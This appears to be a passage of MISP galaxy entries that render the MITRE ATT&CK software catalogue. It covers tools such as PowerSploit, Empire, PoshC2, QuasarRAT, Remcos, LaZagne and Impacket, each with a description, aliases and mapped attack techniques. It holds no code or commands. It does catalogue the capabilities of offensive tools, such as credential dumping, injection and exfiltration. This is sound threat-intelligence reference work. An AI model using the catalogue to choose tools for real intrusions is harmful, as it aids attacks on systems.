[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)
The tag is: misp-galaxy:mitre-tool="Expand - S0361"
Expand - S0361 is also known as:
-
Expand
Expand - S0361 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
Links |
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand |
Tor - S0183
[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)
The tag is: misp-galaxy:mitre-tool="Tor - S0183"
Tor - S0183 is also known as:
-
Tor
Tor - S0183 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
Links |
Forfiles - S0193
[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)
The tag is: misp-galaxy:mitre-tool="Forfiles - S0193"
Forfiles - S0193 is also known as:
-
Forfiles
Forfiles - S0193 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
Links |
Responder - S0174
Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)
The tag is: misp-galaxy:mitre-tool="Responder - S0174"
Responder - S0174 is also known as:
-
Responder
Responder - S0174 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
Links |
PowerSploit - S0194
[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)
The tag is: misp-galaxy:mitre-tool="PowerSploit - S0194"
PowerSploit - S0194 is also known as:
-
PowerSploit
PowerSploit - S0194 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
Links |
meek - S0175
[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.
The tag is: misp-galaxy:mitre-tool="meek - S0175"
meek - S0175 is also known as:
-
meek
meek - S0175 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
Links |
SDelete - S0195
[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)
The tag is: misp-galaxy:mitre-tool="SDelete - S0195"
SDelete - S0195 is also known as:
-
SDelete
SDelete - S0195 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
Links |
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete |
MimiPenguin - S0179
[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)
The tag is: misp-galaxy:mitre-tool="MimiPenguin - S0179"
MimiPenguin - S0179 is also known as:
-
MimiPenguin
MimiPenguin - S0179 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
Havij - S0224
[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)
The tag is: misp-galaxy:mitre-tool="Havij - S0224"
Havij - S0224 is also known as:
-
Havij
Havij - S0224 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/ |
sqlmap - S0225
[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)
The tag is: misp-galaxy:mitre-tool="sqlmap - S0225"
sqlmap - S0225 is also known as:
-
sqlmap
sqlmap - S0225 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
Links |
QuasarRAT - S0262
[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)
The tag is: misp-galaxy:mitre-tool="QuasarRAT - S0262"
QuasarRAT - S0262 is also known as:
-
QuasarRAT
-
xRAT
QuasarRAT - S0262 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
spwebmember - S0227
[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)
The tag is: misp-galaxy:mitre-tool="spwebmember - S0227"
spwebmember - S0227 is also known as:
-
spwebmember
spwebmember - S0227 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
Links |
Remcos - S0332
[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)
The tag is: misp-galaxy:mitre-tool="Remcos - S0332"
Remcos - S0332 is also known as:
-
Remcos
Remcos - S0332 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
PoshC2 - S0378
[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)
The tag is: misp-galaxy:mitre-tool="PoshC2 - S0378"
PoshC2 - S0378 is also known as:
-
PoshC2
PoshC2 - S0378 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
Xbot - S0298
[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)
The tag is: misp-galaxy:mitre-tool="Xbot - S0298"
Xbot - S0298 is also known as:
-
Xbot
Xbot - S0298 has relationships with:
-
similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
Links |
Empire - S0363
[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)
The tag is: misp-galaxy:mitre-tool="Empire - S0363"
Empire - S0363 is also known as:
-
Empire
-
EmPyre
-
PowerShell Empire
Empire - S0363 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
RawDisk - S0364
[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)
The tag is: misp-galaxy:mitre-tool="RawDisk - S0364"
RawDisk - S0364 is also known as:
-
RawDisk
RawDisk - S0364 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp |
LaZagne - S0349
[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)
The tag is: misp-galaxy:mitre-tool="LaZagne - S0349"
LaZagne - S0349 is also known as:
-
LaZagne
LaZagne - S0349 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
Impacket - S0357
[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)
The tag is: misp-galaxy:mitre-tool="Impacket - S0357"
Impacket - S0357 is also known as:
-
Impacket
Impacket - S0357 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
Links |
Ruler - S0358
